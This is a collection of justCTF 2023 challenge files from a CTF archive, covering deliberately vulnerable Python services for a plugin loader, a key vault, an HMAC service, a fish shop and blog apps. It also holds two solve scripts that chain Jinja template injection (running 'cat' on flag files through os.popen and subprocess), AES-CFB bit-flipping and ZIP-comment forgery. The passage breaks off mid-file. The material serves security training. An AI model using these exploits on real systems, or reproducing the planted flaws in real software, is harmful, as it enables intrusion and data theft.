#!/usr/bin/env python3.10 import dis import os import sys import re import runpy import py_compile import requests PLUGINS_PATH = "/plugins/" TRUSTED_DOMAINS = [ 'blackhat.day', 'veganrecipes.soy', 'fizzbuzz.foo', ] def banner(): print("1. List known websites") print("2. List plugins") print("3. Download plugin") print("4. Load plugin") print("5. Exit") def list_known_websites(): print("great.veganrecipes.soy") print("uplink.blackhat.day") print("plugandplay.fizzbuzz.foo") def list_plugins(): print("Plugins:") for f in os.listdir(PLUGINS_PATH): print(f" {f}") PATH_RE = re.compile(r"^[A-Za-z0-9_]+$") MAX_SIZE = 4096 def _get_file(url): with requests.get(url, stream=True) as r: r.raise_for_status() chunks = 0 for chunk in r.iter_content(chunk_size=4096): return chunk raise Exception("") def download_plugin(): print("Provide plugin url in a form of A.B.C where A,B,C must be [A-Za-z0-9_]+") url = input("url: ").strip() try: a, b, c = url.split(".") if not all(PATH_RE.match(x) for x in (a, b, c)): print("FAIL:",a,b,c) raise Exception() except: print("ERR: Invalid url format. Cannot download plugin.") return domain = f"{b}.{c}" if domain not in TRUSTED_DOMAINS: print("ERR: Domain not trusted. Aborting.") return url = f"https://{a}.{b}.{c}/" try: code = _get_file(url).decode() # Validate plugin code cobj = test_expr(code, ALLOWED_OPCODES) # Constants must be strings! assert all(type(c) in (str, bytes, type(None)) for c in cobj.co_consts) except Exception as e: print(f"ERR: Couldnt get plugin or plugin is invalid. Aborting.") return # TODO/FIXME: So far our plugins will just print global strings # We should make it more powerful in the future, but at least it is secure for now code += '\nx = [i for i in globals().items() if i[0][0]!="_"]\nfor k, v in x: print(f"{k} = {v}")' with open(f"{PLUGINS_PATH}/{a}_{b}.py", "w") as f: f.write(code) ### Code copied from Pwntools safeeval lib # see https://github.com/Gallopsled/pwntools/blob/c72886a9b9/pwnlib/util/safeeval.py#L26-L67 # we did a small modification: we pass 'exec' instead of 'eval' to `compile` def _get_opcodes(codeobj): if hasattr(dis, 'get_instructions'): return [ins.opcode for ins in dis.get_instructions(codeobj)] i = 0 opcodes = [] s = codeobj.co_code while i < len(s): code = six.indexbytes(s, i) opcodes.append(code) if code >= dis.HAVE_ARGUMENT: i += 3 else: i += 1 return opcodes def test_expr(expr, allowed_codes): allowed_codes = [dis.opmap[c] for c in allowed_codes if c in dis.opmap] try: c = compile(expr, "", "exec") except SyntaxError: raise ValueError("%r is not a valid expression" % expr) codes = _get_opcodes(c) for code in codes: if code not in allowed_codes: raise ValueError("opcode %s not allowed" % dis.opname[code]) return c ALLOWED_OPCODES = ["LOAD_CONST", "STORE_NAME", "RETURN_VALUE"] def load_plugin(): """ Loads the plugin performing various sanity checks. A plugin must only define strings in it. """ plugin = input("plugin: ").strip() if not PATH_RE.match(plugin): print("Invalid plugin name. Aborting.") return plugin_path = f"{PLUGINS_PATH}/{plugin}.py" if not os.path.exists(plugin_path): print("Path not found: %s" % plugin_path) return # We validated the plugin when we downloaded it # so it must be secure to run it now: it should just print globals. runpy.run_path(py_compile.compile(plugin_path)) funcs = { 1: list_known_websites, 2: list_plugins, 3: download_plugin, 4: load_plugin, 5: sys.exit } def main(): print("Welcome to the PyPlugins challenge!") print("We will load your Python plugins, but only if they are hosted on a trusted website and if they cannot harm us.") while True: banner() n = input('> ') try: n = int(n) func = funcs[n] except: print("Wrong input. Try again") continue try: func() except Exception as e: print(f"Faild") raise if __name__ == '__main__': main()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/rev/thiefcat/thiefcat_server.py
ctfs/justCTF/2023/rev/thiefcat/thiefcat_server.py
import socket HOST = "127.0.0.1" PORT = 12345 welcome = b'''Welcome to jCTF RE adventure! Session ID: c7b883235162dde58d4bd7bd1949d184''' + b'\x00' * 16340 lore = b'''You are in a forest holding a flag. Suddenly a thunderstorm comes around... Running away to the city, you drop the flag (flag.txt). The weather clears up... You try to go back and find the flag, but in the place where you think you dropped flag all you can find is a note with an illegible signature: "I'll be taking the flag." ~~ Prologue over, closing connection. ~~ // Your adventure to get the flag back starts now.''' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() conn.sendall(welcome) print(conn.recv(1024)) # Expected reply: b'K\xb9\xa5\x19\x9b\x18y\xdc\xad\xb0\x112I\x01\tJ\xed\xa7N\x0c\x95{\x0b$\x97J\xb0\\p\n\xf5\xaf' conn.sendall(lore)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/Vaulted/vaulted.py
ctfs/justCTF/2023/Vaulted/vaulted.py
from coincurve import PublicKey import json FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}' PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103', '0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f', '0267ccabf3ae6ce4ac1107709f3e8daffb3be71f3e34b8879f08cb63dff32c4fdc'] class FlagVault: def __init__(self, flag): self.flag = flag self.pubkeys = [] def get_keys(self, _data): return str([pk.format().hex() for pk in self.pubkeys]) def enroll(self, data): if len(self.pubkeys) > 3: raise Exception("Vault public keys are full") pk = PublicKey(bytes.fromhex(data['pubkey'])) self.pubkeys.append(pk) return f"Success. There are {len(self.pubkeys)} enrolled" def get_flag(self, data): # Deduplicate pubkeys auths = {bytes.fromhex(pk): bytes.fromhex(s) for (pk, s) in zip(data['pubkeys'], data['signatures'])} if len(auths) < 3: raise Exception("Too few signatures") if not all(PublicKey(pk) in self.pubkeys for pk in auths): raise Exception("Public key is not authorized") if not all(PublicKey(pk).verify(s, b'get_flag') for pk, s in auths.items()): raise Exception("Signature is invalid") return self.flag def write(data): print(json.dumps(data)) def read(): try: return json.loads(input()) except EOFError: exit(0) WELCOME = """ Welcome to the vault! Thank you for agreeing to hold on to one of our backup keys. The vault requires 3 of 4 keys to open. Please enroll your public key. """ if __name__ == "__main__": vault = FlagVault(FLAG) for pubkey in PUBKEYS: vault.enroll({'pubkey': pubkey}) write({'message': WELCOME}) while True: try: data = read() if data['method'] == 'get_keys': write({'message': vault.get_keys(data)}) elif data['method'] == 'enroll': write({'message': vault.enroll(data)}) elif data['method'] == "get_flag": write({'message': vault.get_flag(data)}) else: write({'error': 'invalid method'}) except Exception as e: write({'error': repr(e)})
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/crypto/Multi_Auth/private/src/index.py
ctfs/justCTF/2023/crypto/Multi_Auth/private/src/index.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import os import json import hmac from hashlib import sha256 from base64 import b64decode, b64encode import binascii FAILURE = {"success": False, "signature": ""} def verify(key, msg, sig): return hmac.compare_digest(sig, auth(key, msg)) def auth(key, msg): return hmac.new(msg, key, sha256).digest() def main(): print("HMAC authenticator started", flush=True) key = os.urandom(32) for line in sys.stdin: try: rpc = json.loads(line) if not isinstance(rpc, dict) or "message" not in rpc or len(rpc["message"]) == 0: print(FAILURE, flush=True) continue msg = b64decode(rpc["message"]) retval = None if rpc.get("method", "") == "auth": signature = auth(key, msg) retval = {"success": True, "signature": b64encode(signature).decode()} else: sig = rpc.get("signatures", {}).get("hmac") if sig is None or len(sig) == 0: print(FAILURE, flush=True) continue retval = {"success": verify(key, msg, b64decode(sig)), "signature": ""} print(json.dumps(retval), flush=True) except Exception as e: print(FAILURE, flush=True) if __name__ == "__main__": main()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/crypto/Vaulted/vaulted.py
ctfs/justCTF/2023/crypto/Vaulted/vaulted.py
from coincurve import PublicKey import json FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}' PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103', '0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f', '0267ccabf3ae6ce4ac1107709f3e8daffb3be71f3e34b8879f08cb63dff32c4fdc'] class FlagVault: def __init__(self, flag): self.flag = flag self.pubkeys = [] def get_keys(self, _data): return str([pk.format().hex() for pk in self.pubkeys]) def enroll(self, data): if len(self.pubkeys) > 3: raise Exception("Vault public keys are full") pk = PublicKey(bytes.fromhex(data['pubkey'])) self.pubkeys.append(pk) return f"Success. There are {len(self.pubkeys)} enrolled" def get_flag(self, data): # Deduplicate pubkeys auths = {bytes.fromhex(pk): bytes.fromhex(s) for (pk, s) in zip(data['pubkeys'], data['signatures'])} if len(auths) < 3: raise Exception("Too few signatures") if not all(PublicKey(pk) in self.pubkeys for pk in auths): raise Exception("Public key is not authorized") if not all(PublicKey(pk).verify(s, b'get_flag') for pk, s in auths.items()): raise Exception("Signature is invalid") return self.flag def write(data): print(json.dumps(data)) def read(): try: return json.loads(input()) except EOFError: exit(0) WELCOME = """ Welcome to the vault! Thank you for agreeing to hold on to one of our backup keys. The vault requires 3 of 4 keys to open. Please enroll your public key. """ if __name__ == "__main__": vault = FlagVault(FLAG) for pubkey in PUBKEYS: vault.enroll({'pubkey': pubkey}) write({'message': WELCOME}) while True: try: data = read() if data['method'] == 'get_keys': write({'message': vault.get_keys(data)}) elif data['method'] == 'enroll': write({'message': vault.enroll(data)}) elif data['method'] == "get_flag": write({'message': vault.get_flag(data)}) else: write({'error': 'invalid method'}) except Exception as e: write({'error': repr(e)})
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Aquatic_Delights/challenge/app.py
ctfs/justCTF/2023/web/Aquatic_Delights/challenge/app.py
#!/usr/bin/env python import flask import json import sqlite3 from os import getenv app = flask.Flask(__name__, static_url_path='/static') DATABASE = None def database_connection(func): def wrapper(self, *args, **kwargs): with sqlite3.connect('/tmp/shop.db') as con: if hasattr(self, 'locked') and self.locked: return flask.jsonify({'result': 'NG', 'reason': 'Database is locked!'}), 500 try: return func(self, con.cursor(), *args, **kwargs) except Database.Error as ex: return flask.jsonify({'result': 'NG', 'reason': str(ex)}), 500 except: return flask.abort(500, 'Something went wrong') return wrapper def database_lock(func): def wrapper(self, *args, **kwargs): try: self.locked = True result = func(self, *args, **kwargs) except: raise finally: self.locked = False return result return wrapper class Database(object): @database_connection def __init__(self, cur): self.just_coins = 10 cur.execute("DROP TABLE IF EXISTS shop") cur.execute("CREATE TABLE shop(name, price, available)") shop_data = [ ('Catfish', 1, 10), ('Rainbow Guppy', 5, 5), ('Koi Carp', 20, 3), ('Royal Angelfish', 100, 1), ('Flagfish', 1337, 1) ] cur.executemany("INSERT INTO shop(name, price, available) VALUES(?, ?, ?)", shop_data) cur.execute("DROP TABLE IF EXISTS inventory") cur.execute("CREATE TABLE inventory(name, available)") cur.executemany("INSERT INTO inventory(name, available) VALUES(?, ?)", [ (name, 0) for name, _, _ in shop_data ] ) def _get_shop(self, cur, name=None): if name is None: return {x[0]: x[1:] for x in cur.execute("SELECT * FROM shop")} else: cur.execute("SELECT price, available FROM shop WHERE name = ?", (name,)) return cur.fetchone() def _get_inventory(self, cur, name=None): if name is None: return {x[0]: x[1] for x in cur.execute("SELECT * FROM inventory")} else: cur.execute("SELECT available FROM inventory WHERE name = ?", (name,)) return cur.fetchone()[0] def _update_shop(self, cur, name, available): cur.execute("UPDATE shop SET available = ? WHERE name = ?", (available, name)) def _update_inventory(self, cur, name, available): cur.execute("UPDATE inventory SET available = ? WHERE name = ?", (available, name)) def _get_shop_data(self, cur): data = {} shop = self._get_shop(cur) inventory = self._get_inventory(cur) for name, item in shop.items(): data[name.replace(' ', '_')] = { 'price': item[0], 'available': item[1], 'eat': inventory.get(name) } return data class Error(Exception): pass @database_connection @database_lock def buy(self, cur, name, amount): shop_price, shop_available = self._get_shop(cur, name) inv_available = self._get_inventory(cur, name) if shop_available == 0: raise Database.Error('There is no more item of this type in shop') if amount <= 0 or amount > 0xffffffff: raise Database.Error('Invalid amount') if shop_available < amount: raise Database.Error('Not enough items in shop') total_price = shop_price * amount if total_price > self.just_coins: raise Database.Error('Not enough justCoins') self.just_coins -= total_price self._update_inventory(cur, name, inv_available + amount) self._update_shop(cur, name, shop_available - amount) return flask.jsonify({'result': 'OK', 'response': f'Successfully bought {amount} {name}', 'justCoins': DATABASE.just_coins, 'data': self._get_shop_data(cur)}) @database_connection @database_lock def sell(self, cur, name, amount): inv_available = self._get_inventory(cur, name) if inv_available < amount: raise Database.Error('Not enough items in inventory') if amount <= 0 or amount > 0xffffffff: raise Database.Error('Invalid amount') shop_price, shop_available = self._get_shop(cur, name) total_price = shop_price * amount self.just_coins += total_price self._update_inventory(cur, name, inv_available - amount) self._update_shop(cur, name, shop_available + amount) return flask.jsonify({'result': 'OK', 'response': f'Successfully sold {amount} {name}', 'justCoins': DATABASE.just_coins, 'data': self._get_shop_data(cur)}) @database_connection def eat(self, cur, name): inv_available = self._get_inventory(cur, name) if inv_available <= 0: raise Database.Error('Not enough items in inventory') self._update_inventory(cur, name, inv_available - 1) if name == 'Flagfish': response = getenv("FLAG") else: response = 'Nothing happened' return flask.jsonify({'result': 'OK', 'response': response, 'justCoins': DATABASE.just_coins, 'data': self._get_shop_data(cur)}) @database_connection def get_table(self, cur): return flask.render_template('table.html', inv=DATABASE._get_inventory(cur), shop=DATABASE._get_shop(cur)) @database_connection def get_inventory(self, cur=None): return self._get_inventory(cur) @database_connection def get_shop(self, cur=None): return self._get_shop(cur) @app.route('/', methods=['GET']) def index(): return flask.render_template('index.html', just_coins=DATABASE.just_coins, inv=DATABASE.get_inventory(), shop=DATABASE.get_shop()) @app.route('/api/buy', methods=['POST']) def api_buy(): try: data = json.loads(flask.request.data) assert isinstance(data['name'], str) assert isinstance(data['amount'], int) except: return flask.abort(400, 'Invalid request') return DATABASE.buy(data['name'], data['amount']) @app.route('/api/sell', methods=['POST']) def api_sell(): try: data = json.loads(flask.request.data) assert isinstance(data['name'], str) assert isinstance(data['amount'], int) except: return flask.abort(400, 'Invalid request') return DATABASE.sell(data['name'], data['amount']) @app.route('/api/eat', methods=['POST']) def api_eat(): try: data = json.loads(flask.request.data) assert isinstance(data['name'], str) except: return flask.abort(400, 'Invalid request') return DATABASE.eat(data['name']) @app.route('/reset', methods=['GET']) def reset(): DATABASE.__init__() return flask.redirect("/") if __name__ == '__main__': DATABASE = Database() app.run(host="0.0.0.0", port=8080)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Easy_Cloud_Auth/pow_solver.py
ctfs/justCTF/2023/web/Easy_Cloud_Auth/pow_solver.py
#!/usr/bin/env python3 import hashlib import sys prefix = sys.argv[1] difficulty = int(sys.argv[2]) zeros = '0' * difficulty def is_valid(digest): if sys.version_info.major == 2: digest = [ord(i) for i in digest] bits = ''.join(bin(i)[2:].zfill(8) for i in digest) return bits[:difficulty] == zeros i = 0 while True: i += 1 s = prefix + str(i) if is_valid(hashlib.sha256(s.encode()).digest()): print(i) exit(0)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_solve.py
ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_solve.py
#!/usr/bin/env python3 from Crypto.Cipher import AES import requests import zipfile import base64 import io import os from pwn import p8,p16 target = 'http://hugeblog.asisctf.com:9000' s = requests.session() r = s.post(f'{target}/api/login',json={ 'username':'lmao1337', 'password':'lmao1337' }).json() assert r['result'] == 'OK' buf = 'A'*(100+15) buf+= "{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /*.txt').read() }}" buf = buf.ljust(65501,'z') v = 65304+26+16-2 wow = '"}'*1 buf = buf[:v]+wow+buf[len(wow)+v:] r = s.post(f'{target}/api/new',json={ 'content': buf, 'title':'A'*50 }).json() assert r['result'] == 'OK' r = s.get(f'{target}/api/export').json() assert r['result'] == 'OK' buf = base64.b64decode(r['export']) ########## iv = buf[:16] enc = buf[16:] for i in range(0xffff): v = 60658+5000-1-16-1-1 wow = p16(i) enc = enc[:v]+wow+enc[v+len(wow):] buf = iv+enc ########## r = s.post(f'{target}/api/import',json={ 'import':base64.b64encode(buf).decode() }) if(s.get(f'{target}/post/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA').status_code != 500): break for i in range(0xffff): v = 600-1-12*16+3-1 wow = os.urandom(2) enc = enc[:v]+wow+enc[v+len(wow):] buf = iv+enc ########## r = s.post(f'{target}/api/import',json={ 'import':base64.b64encode(buf).decode() }) g = s.get(f'{target}/post/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') # print(g.text) if(g.status_code != 500): v = s.get(f'{target}/post/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA').text try: z = v.index('{ self') print(v[z-1:z+1]) except: print('LMAO',v)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_solve.py
ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_solve.py
from ptrlib import * from itsdangerous import URLSafeTimedSerializer from flask.sessions import TaggedJSONSerializer import base64 import binascii import hashlib import json import os import requests import zipfile HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", "8018") CODE = "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}" CODE += "A"*(0x100 - len(CODE)) # Login as code executor r = requests.post(f"http://{HOST}:{PORT}/api/login", headers={"Content-Type": "application/json"}, data=json.dumps({"username": "EvilFennec", "password": "TibetanFox"})) fox_cookies = r.cookies serializer = TaggedJSONSerializer() signer_kwargs = { 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } s = URLSafeTimedSerializer( b'', salt='cookie-session', serializer=serializer, signer_kwargs=signer_kwargs ) _, fox_session = s.loads_unsafe(fox_cookies["session"]) username = fox_session['username'] passhash = fox_session['passhash'] workdir = fox_session['workdir'] # Find ascii CRC32 logger.info("Searching CRC32...") ORIG = CODE while True: data = { "title": "exploit", "id": "exploit", "date": "1919/8/10 11:45:14", "author": "a", "content": CODE } x = json.dumps(data).encode() crc32 = binascii.crc32(x) if all([(crc32 >> i) & 0xff < 0x80 for i in range(0, 32, 8)]): if all([(len(x) >> i) & 0xff < 0x80 for i in range(0, 32, 8)]): break else: CODE = ORIG + 'A'*0x100 else: CODE += "A" logger.info("CRC Found: " + hex(crc32)) logger.info("ASCII Length: " + hex(len(x))) logger.info(CODE) # Create a malicious zip comment os.makedirs(f"post/{workdir}", exist_ok=True) with open(f"post/{workdir}/exploit.json", "w") as f: json.dump(data, f) with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED) as z: z.write(f"post/{workdir}/exploit.json") z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Malform zip logger.info("Creating ascii zip...") size_original = 0x30 while True: with open("exploit.zip", "rb") as f: payload = f.read() sz = len(payload) lfh = payload.find(b'PK\x03\x04') cdh = payload.find(b'PK\x01\x02') ecdr = payload.find(b'PK\x05\x06') ## 1. Modify End of Central Directory Record # Modify offset to CDH payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:] ## 2. Modify Central Directory Header # Modify relative offset to LFH payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:] # Modify timestamp payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:] # Modify attr payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:] ## 3. Modify Local File Header # Modify timestamp payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:] payload = b"A" * (size_original - 0x30) + payload for c in payload: if c > 0x7f: break else: break size_original += 1 logger.info("Created ascii zip!") # ZIP comment injection r = requests.post(f"http://{HOST}:{PORT}/api/login", headers={"Content-Type": "application/json"}, data=json.dumps({"username": bytes2str(payload), "password": "whatever"})) cookies = r.cookies logger.info("Registered malicious user") # Export crafted exploit r = requests.get(f"http://{HOST}:{PORT}/api/export", cookies=cookies) exp = json.loads(r.text)["export"] logger.info("Exploit exported!") # Import the exploit r = requests.post(f"http://{HOST}:{PORT}/api/import", headers={"Content-Type": "application/json"}, data=json.dumps({"import": exp}), cookies=fox_cookies) logger.info("Exploit imported!") # Leak flag logger.info("SSTI go brrrr...") r = requests.get(f"http://{HOST}:{PORT}/post/exploit", cookies=fox_cookies) print(r.text)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_app.py
ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_app.py
#!/usr/bin/env python from Crypto.Cipher import AES from flask_session import Session import base64 import datetime import flask import glob import hashlib import io import json import os import re import zipfile app = flask.Flask(__name__) app.secret_key = os.urandom(16) app.encryption_key = os.urandom(16) app.config['SESSION_TYPE'] = 'filesystem' app.config['SESSION_USE_SIGNER'] = True app.config['SESSION_FILE_DIR'] = f'/tmp/{os.urandom(16).hex()}' Session(app) BASE_DIR = './post' TEMPLATE = """<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>{{title}}</title> </head> <body> <h1>{{author}}'s Website</h1> <p>This is a sample page by {{author}} published on {{date}}.</p> </body> </html> """ @app.route('/', methods=['GET']) def index(): db = get_database() if db is None: return flask.render_template('login.html') else: return flask.render_template('index.html', template=TEMPLATE, database=db) @app.route('/post/<title>', methods=['GET']) def get_post(title): db = get_database() if db is None: return flask.redirect('/login') err, post = db.read(title) if err: return flask.abort(404, err) return flask.render_template_string(post['content'], title=post['title'], author=post['author'], date=post['date']) @app.route('/api/login', methods=['POST']) def api_login(): try: data = json.loads(flask.request.data) assert isinstance(data['username'], str) assert isinstance(data['password'], str) assert not re.search('[^A-Za-z0-9]',data['username']) except: return flask.abort(400, "Invalid request") flask.session['username'] = data['username'] flask.session['passhash'] = hashlib.md5(data['password'].encode()).hexdigest() flask.session['workdir'] = os.urandom(16).hex() return flask.jsonify({'result': 'OK'}) @app.route('/api/new', methods=['POST']) def api_new(): """Add a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['title'], str) assert isinstance(data['content'], str) except: return flask.abort(400, "Invalid request") err, post_id = db.add(data['title'], get_username(), data['content']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'id': post_id}) @app.route('/api/delete', methods=['POST']) def api_delete(): """Delete a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['id'], str) except: return flask.abort(400, "Invalid request") err = db.delete(data['id']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) @app.route('/api/export', methods=['GET']) def api_export(): """Export blog posts""" db = get_database() if db is None: return flask.redirect('/login') err, blob = db.export_posts(get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'export': blob}) @app.route('/api/import', methods=['POST']) def api_import(): """Import blog posts""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['import'], str) except: return flask.abort(400, "Invalid request") err = db.import_posts(data['import'], get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) class Database(object): """Database to store blog posts of a user """ def __init__(self, workdir): assert workdir.isalnum() self.workdir = f'{BASE_DIR}/{workdir}' os.makedirs(self.workdir, exist_ok=True) def __iter__(self): """Return blog posts sorted by publish date""" def enumerate_posts(workdir): posts = [] for path in glob.glob(f'{workdir}/*.json'): with open(path, "rb") as f: posts.append(json.loads(f.read().decode('latin-1'))) for post in sorted(posts, key=lambda post: datetime.datetime.strptime( post['date'], "%Y/%m/%d %H:%M:%S" ))[::-1]: yield post return enumerate_posts(self.workdir) @staticmethod def to_snake(s): """Convert string to snake case""" for i, c in enumerate(s): if not c.isalnum(): s = s[:i] + '_' + s[i+1:] return s def add(self, title, author, content): """Add new blog post""" # Validate title and content if len(title) == 0: return 'Title is emptry', None if len(title) > 64: return 'Title is too long', None if len(content) == 0 : return 'HTML is empty', None if len(content) > 1024*64: return 'HTML is too long', None if '{%' in content: return 'The pattern "{%" is forbidden', None for m in re.finditer(r"{{", content): p = m.start() if not (content[p:p+len('{{title}}')] == '{{title}}' or \ content[p:p+len('{{author}}')] == '{{author}}' or \ content[p:p+len('{{date}}')] == '{{date}}'): return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None # Save the blog post now = datetime.datetime.now().strftime("%Y/%m/%d %H:%M:%S") post_id = Database.to_snake(title) data = { 'title': title, 'id': post_id, 'date': now, 'author': author, 'content': content } with open(f'{self.workdir}/{post_id}.json', "w") as f: json.dump(data, f) return None, post_id def read(self, title): """Load a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are looking for does not exist', None with open(f'{self.workdir}/{post_id}.json', "rb") as f: return None, json.loads(f.read().decode('latin-1')) def delete(self, title): """Delete a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are trying to delete does not exist' os.unlink(f'{self.workdir}/{post_id}.json') def export_posts(self, username, passhash): """Export all blog posts with encryption and signature""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'a', zipfile.ZIP_STORED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Encrypt archive so that anyone else cannot read the contents buf.seek(0) iv = os.urandom(16) cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv) encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(encbuf).decode() def import_posts(self, b64encbuf, username, passhash): """Import blog posts from backup file""" encbuf = base64.b64decode(b64encbuf) cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16]) buf = io.BytesIO(cipher.decrypt(encbuf[16:])) try: with zipfile.ZipFile(buf, 'r', zipfile.ZIP_STORED) as z: # Check signature if z.comment != f'SIGNATURE:{username}:{passhash}'.encode(): return 'This is not your database' # Extract archive z.extractall() except: return 'The database is broken' return None def get_username(): return flask.session['username'] if 'username' in flask.session else None def get_passhash(): return flask.session['passhash'] if 'passhash' in flask.session else None def get_workdir(): return flask.session['workdir'] if 'workdir' in flask.session else None def get_database(): if (get_username() and get_passhash() and get_workdir()) is None: return None return Database(get_workdir()) if __name__ == '__main__': app.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_app.py
ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_app.py
#!/usr/bin/env python from Crypto.Cipher import AES import base64 import datetime import flask import glob import hashlib import io import json import os import re import zipfile app = flask.Flask(__name__) app.secret_key = os.urandom(16) app.encryption_key = os.urandom(16) BASE_DIR = './post' TEMPLATE = """<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>{{title}}</title> </head> <body> <h1>{{author}}'s Website</h1> <p>This is a sample page by {{author}} published on {{date}}.</p> </body> </html> """ @app.route('/', methods=['GET']) def index(): db = get_database() if db is None: return flask.render_template('login.html') else: return flask.render_template('index.html', template=TEMPLATE, database=db) @app.route('/post/<title>', methods=['GET']) def get_post(title): db = get_database() if db is None: return flask.redirect('/login') err, post = db.read(title) if err: return flask.abort(404, err) return flask.render_template_string(post['content'], title=post['title'], author=post['author'], date=post['date']) @app.route('/api/login', methods=['POST']) def api_login(): try: data = json.loads(flask.request.data) assert isinstance(data['username'], str) assert isinstance(data['password'], str) except: return flask.abort(400, "Invalid request") flask.session['username'] = data['username'] flask.session['passhash'] = hashlib.md5(data['password'].encode()).hexdigest() flask.session['workdir'] = os.urandom(16).hex() return flask.jsonify({'result': 'OK'}) @app.route('/api/new', methods=['POST']) def api_new(): """Add a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: 